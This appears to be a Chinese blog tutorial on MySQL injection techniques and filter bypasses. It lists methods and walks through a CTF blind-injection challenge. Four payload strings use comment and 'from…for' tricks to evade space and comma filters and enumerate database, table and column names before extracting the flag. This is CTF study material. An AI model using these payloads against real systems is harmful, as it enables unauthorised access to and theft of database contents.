1. 程式人生 > 實用技巧 >Mysql注入的常用方法和繞過

Mysql注入的常用方法和繞過

  • 寬位元組注入
  • 基於約束的注入
  • 報錯注入
  • 時間盲注
  • bool盲注
  • order by的注入
  • INSERT、UPDATE、DELETE相關的注入
  • 堆疊注入
  • 二次注入
  • 檔案讀寫
  • 常用繞過
  • 萬能密碼

參考:CTF SQL注入

慣用思路(這裡的例子是之前做的一道mysql盲注題,題目過濾了很多符號,如:單引號、空格和逗號):
1、首先通過database()函式得到庫名,或者去information_schema.schemata表查詢schema_name
"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)


2、然後去information_schema.tables表利用table_schema查詢table_name
"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
3、接著去information_schema.columns表利用table_name查詢column_name
"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

4、最後select column_name from table_name 得到flag
"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)